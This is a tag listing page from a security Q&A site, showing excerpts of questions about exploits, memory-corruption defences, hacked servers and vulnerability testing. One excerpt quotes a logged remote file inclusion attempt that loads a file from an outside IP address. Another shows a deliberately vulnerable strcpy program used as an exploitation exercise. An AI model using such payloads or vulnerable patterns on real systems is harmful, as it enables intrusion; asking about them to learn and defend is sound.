The data, tools, and procedures which, when applied to a specific vulnerability, predictably violate the security design of a system.

learn more… | top users | synonyms

6
votes
3answers
487 views

Security implications of an exploited router

So I completely understand that routers and local networks need to be kept locked down, etc. What real security threats can come about from an attacker who has remotely accessed (telnet or web gui) ...
3
votes
4answers
1k views

Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
4
votes
2answers
313 views

Vulnerability testing without the use of exploits?

I was doing some testing on a server to see if it was vulnerable to a 0-day local exploit (the exploit was for gaining root privileges using a bug in the Linux kernel). There was no real information ...
1
vote
2answers
189 views

ROP Gadgets from executables?

I noticed that exploits which use Return Oriented Programming always find the gadgets in libraries. I wonder if it is possible to use gadgets from the executable (.exe) itself?
10
votes
2answers
260 views

How to protect against exploitation using a lapsed domain

Consider a domain that had been in active use for some time but is no longer desired — perhaps the company is out of business or a name change took place years ago, or whatever. The domain ...
3
votes
1answer
187 views

How to protect against exploitation of email addresses from an mistakenly expired domain?

I have a domain name that I have registered for a long time. Due to a combination of bad luck and oversight, the domain name expired and was rebought by somebody else. I am attempting to buy the ...
-4
votes
1answer
126 views

Breaking into your own systems [closed]

So as security professionals, most are overly paranoid about external hackers, leaks, etc. I'm looking for ideas on how one would go about testing their own systems, without signs that they were ...
7
votes
1answer
735 views

A practical .NET Remoting Architecture exploit

If you were to demonstrate a .NET Remoting Architecture vulnerability with a practical attack, which one would you choose? I've read J. Forshaw's white paper on Breaking .NET Through Serialization ...
4
votes
4answers
1k views

Database hardening techniques

So as I understand it database hardening is a process in which you remove the vulnerabilities that result from lax con-figuration options. This can sometimes compensate for exploitable vendor bugs. ...
3
votes
2answers
604 views

How can JavaScript be tampered with while viewing a web page?

I often hear about how client side JavaScript can't be relied on because it can easily be changed. How exactly can it be changed, what program would be used to modify the JavaScript before a page ...
1
vote
6answers
5k views

Use PHP to check uploaded image file for malware?

I want my users to be able to upload a photo. Currently I am not checking the uploaded photo for problems of any kind, although I do limit the size to 32k. Is there any way for me to check uploaded ...
14
votes
3answers
3k views

What is the difference between Exploit and Payload?

In computer security, we know that weak points in software are called vulnerabilities (if related to security). And once the vulnerability is found, theoretically it requires a piece of code as proof ...
1
vote
0answers
628 views

Automatic router admin password change [closed]

I feel that this is definitely a hack of some sort and an interesting one. I am using a Beetel 450TC1 ADSL2+ modem router and here is what I face: * First, I disconnect the telephone line from the ...
4
votes
1answer
326 views

Exploited by newbie3viLc063s

My debian server got exploited by some scriptiekiddie who used Newbie3viLc063 http://pastebin.com/jma8JRG1 . Scriptkiddie uploaded logo_php.png to my server (My permissions sucked :s) and he did run ...
5
votes
2answers
615 views

Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
16
votes
4answers
1k views

What is the easiest way to search massive, leaked databases for persons and personal information?

This may seem like a rather nefarious question, however, my motivations are quite the opposite-- I want to know how at risk I might be! A while ago a very MASSIVE database was leaked that contained ...
7
votes
2answers
8k views

SQL Injection: Drop All Tables

I used some vulnerability scanners to check a site of mine, and an instance of blind SQL injection was returned. However, when I try to exploit this vulnerability by entering the following into the ...
4
votes
3answers
426 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
1
vote
1answer
221 views

Following redirects from HTTPS to HTTP - Secure?

So I have an HTTP client which supports HTTPS. However, it doesn't follow the HTTP spec recommendation for redirects on POST(which is to ask the user before redirecting) This means, in theory, if you ...
4
votes
1answer
495 views

Is this fprintf statement potentially vulnerable?

Here's the statement: fprintf(stderr, "Some random string\n"). Is it okay not to have a format specifier, such as %s, even though the statement doesn't take any user input? Is it still potentially ...
1
vote
2answers
194 views

Is this Scenario Exploitable?

Here is the scenario: You get to overwrite 4 (consecutive) Bytes of a Userland Remote Process in Linux without Exploit Mitigation and without the ability to inject any Shellcode and you know the ...
1
vote
1answer
636 views

Can exploit vulnerability if program started with gdb, but segfaults if started without gdb

i'm currently trying to exploit a simple program called basic_vuln.c #include <stdio.h> int main(int argc, char** argv) { char buf[64]; strcpy(buf, argv[1]); } I'm using xubuntu ...
3
votes
3answers
251 views

Resources for building a network security curriculum

I am currently helping my teacher create a curriculum around IT Security because it isn't currently implemented. Some previous question had decent responses but I was wondering if there was more. My ...
1
vote
2answers
419 views

Spike in TCP port 5904 activity - what for?

There is an 'Internet Weather Report' on the Threat!Traq video blog by AT&T security researchers. In the March 14th broadcast, at around 31 minutes in, they mention an increase of scanning ...
2
votes
0answers
316 views

What is SPL exploit? [closed]

I recently worked on a web project that uses Javascript and PHP to load its content from flickr API. I kept on getting this image show up and disappear immediately during first 2 or 3 seconds of the ...
4
votes
1answer
480 views

ROP Exploitation on ARM

I was wondering about since, Ret2Libc attack doesn't works on ARM, and we have to rely on ROP for that. How different is ROP on ARM from the x86 architecture. Are there any tools, such as mona.py ...
25
votes
3answers
13k views

Stack Overflows - Defeating Canaries, ASLR, DEP, NX

To prevent buffer overflows, there are several protections available such as using Canary values, ASLR, DEP, NX. But, where there is a will, there is a way. I am researching on the various methods an ...
12
votes
2answers
1k views

Protecting cellphones from USB attacks (a.k.a. Juice Jacking)

We have several smartphone with encrypted data on them (BES, iPhone, Android) and want to prevent an unauthorized person from downloading information from the device via USB. The visual assumption ...
2
votes
2answers
559 views

how to bypass “header” in php

While reading an article I encounter an interesting thing I did not know about: if(!isset($_SESSION['usr_id']) || !isset($_SESSION['usr_name'])) { header('Location: index.php'); } ...Which ...
3
votes
1answer
289 views

Why is a separate reconnaissance server needed for DNS cache poisoning?

I'm trying to understand how Metasploit's DNS BailiWicked Host Attack module works. One of the required module options is a "reconnaissance" nameserver (option RECONS). What I understand from the ...
1
vote
5answers
740 views

Site backdoor & eval()

I'm running a Joomla 1.7 site which was hacked today. Below script did the hack. ...
1
vote
1answer
444 views

Win server 2003 sp2 'local' Privilege escalation via thin client

Just asking if there is any known exploit that allows a client connected a win server 2003 sp2 x64 via SunRay thin-client to infiltrate (or preform a local privilege escalation on) the server. The ...
1
vote
1answer
202 views

Compromised server with psyBNC - what are our next steps?

One of our VPS servers has an install of psybnc on it. The install has been present for quite some time, and has now been brought to our attention. We have backups, but they also have psybnc on them. ...
0
votes
1answer
137 views

Did I get hit by the recent Java exploit?

Looks like the website iphonedevsdk was responsible for serving up the malware that's been causing some of the recent security exploits. According to my browser history, I visited that site back in ...
1
vote
4answers
1k views

My website has been hacked, what do i do next? [closed]

So. I couldn't see any other question like this on Sec.Se so i thought i'd ask. My public website www.foo.com has been hacked. The front page is sending it to be redirected to seoblog.fooblog.com in ...
4
votes
2answers
2k views

Can a kernel exploit compromise an OpenVZ host?

as openvz runs a a lot of virtual servers. i wonder how kernel-exploits could affect the whole system. would it be possible to break out of a "virtual machine" with a kernel-exploit on openvz??? ...
5
votes
2answers
991 views

What security standards and regulations are in place for bank ATM?

Are there any international or US mandated standards and regulations that apply to communications between automatic teller machines and bank's central office? Are banks or ATM operators subjected to ...
0
votes
2answers
2k views

Msf and exploitdb on Backtrack 5

Metasploit (msf) doesn't see exploits from exploitdb. I've just updated directory on my Backtrack cd /pentest/exploits/exploitdb svn update How can I load them now into msf? When i use a script ...
4
votes
2answers
694 views

ASLR and how a program can actually call its functions

I'm studying protection techniques and I've got a doubt about how ASLR works for a program in a Windows environment. As far as I know ASLR works by randomizing part of the imagebase address when ...
4
votes
3answers
1k views

Setting up a security CTF server

I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ...
4
votes
2answers
1k views

What exploit types do I need to protect against in PHP?

I recently learned that apparently, it is common for people to attempt SQL injections using the HTTP referrer in PHP. What other inputs do I need to protect against? I am currently "cleaning up" ...
7
votes
3answers
516 views

Risk Control - Ignored risks and accepted risks

Some say that ignored risks as part of an organization's behavior are much worse than accepted risks. I would like to test that axiom (in the eyes of some). When I am handling a risk and I choose to ...
6
votes
2answers
230 views

Example of malware in the wild?

I'd like to test an application that detects malware on my network. In order to do that, I have a Windows VM set up that I'd like to infect with malware. But for the life of me, I can't seem to find ...
5
votes
1answer
258 views

Hardware enforced DEP on different CPUs

Are there any differences how hardware DEP is implemented on CPUs from different manufacturers (Intel, AMD, nVidia, Texas,...)? Are there any significant differences how hardware DEP works on x86 ...
2
votes
2answers
1k views

Stack Overflow on ARM : Null Bytes Issue

I am trying to follow the research paper by Tiger Security for ARM Exploitation : Link For the simple stack overflow exploitation, the code is : #include <stdio.h> #include <string.h> ...
3
votes
2answers
504 views

How was pentest performed in the era with no frameworks like Metasploit?

I have been interested in security lately, I have been reading mainly cookbooks on Metasploit framework, how social engineering has been employed exhaustively, I have started reading some IA-32 ...
0
votes
1answer
115 views

Manually monitoring your PC for Java (Oracle) exploits?

Sandboxing and AV's aside, if I wanted to manually look at/monitor my system for where they usually enter it, where could I look for possible malicious Java viruses/activity, e.g., would they first ...
0
votes
1answer
563 views

apache mod_isapi public exploits

In public apache mod_isapi exploits, they ask for dlls, and I am unsure what I should put in dll. I am having a hard time understanding exploits.. How does all of dlls connect to manipulating ...
3
votes
1answer
244 views

How did the Tumblr worm spread?

Recently Tumblr was hit by a fast-spreading worm. How did the worm work? What was the vulnerability in Tumblr that it exploired? Did it exploit a XSS vulnerability in Tumblr? A CSRF vulnerability ...
9
votes
4answers
254 views

What to do about companies that refuse to fix their security vulnerabilities

While writing software for an application platform developed by a third party company, I came across a security vulnerability in the framework's code that could allow unprivileged code to perform ...